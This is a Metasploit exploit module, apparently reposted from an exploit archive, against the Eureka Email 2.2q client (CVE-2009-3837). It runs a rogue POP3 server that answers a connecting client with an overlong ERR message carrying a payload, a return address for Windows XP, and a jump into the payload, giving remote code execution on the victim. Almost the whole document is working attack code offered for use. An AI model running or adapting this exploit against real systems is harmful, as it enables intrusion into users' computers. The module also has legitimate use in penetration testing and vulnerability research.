Eureka Email Client 2.2q – ERR Remote Buffer Overflow (Metasploit) (2)
## # $Id: eureka_mail_err.rb 10150 2010-08-25 20:55:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit', # bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1 # overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address 'Description' => %q{ This module exploits a buffer overflow in the Eureka Email 2.2q client that is triggered through an excessively long ERR message. NOTE: this exploit isn't very reliable. Unfortunately reaching the vulnerable code can only be done when manually checking mail (Ctrl-M). Checking at startup will not reach the code targeted here. }, 'Author' => [ 'Francis Provencher (Protek Research Labs)', 'Dr_IDE', 'dookie', 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10150 $', 'References' => [ [ 'CVE', '2009-3837' ], [ 'OSVDB', '59262 ' ], [ 'URL', 'http://www.exploit-db.com/exploits/10235' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 700, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", 'DisableNops' => true, }, 'Platform' => 'win', 'Targets' => [ [ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll [ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll ], 'Privileged' => false, 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 22 2009' )) register_options( [ OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]), ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) # the offset to eip depends on the local ip address string length... already = "Your POP3 server had a problem.\n" already << datastore['LHOST'] already << " said:\n\n -ERR " space = (512+256+4) - already.length buffer = "-ERR " buffer << make_nops(space - payload.encoded.length) buffer << payload.encoded buffer << [target.ret].pack('V') buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string buffer << "\r\n" print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...") client.put(buffer) handler service.close_client(client) end end |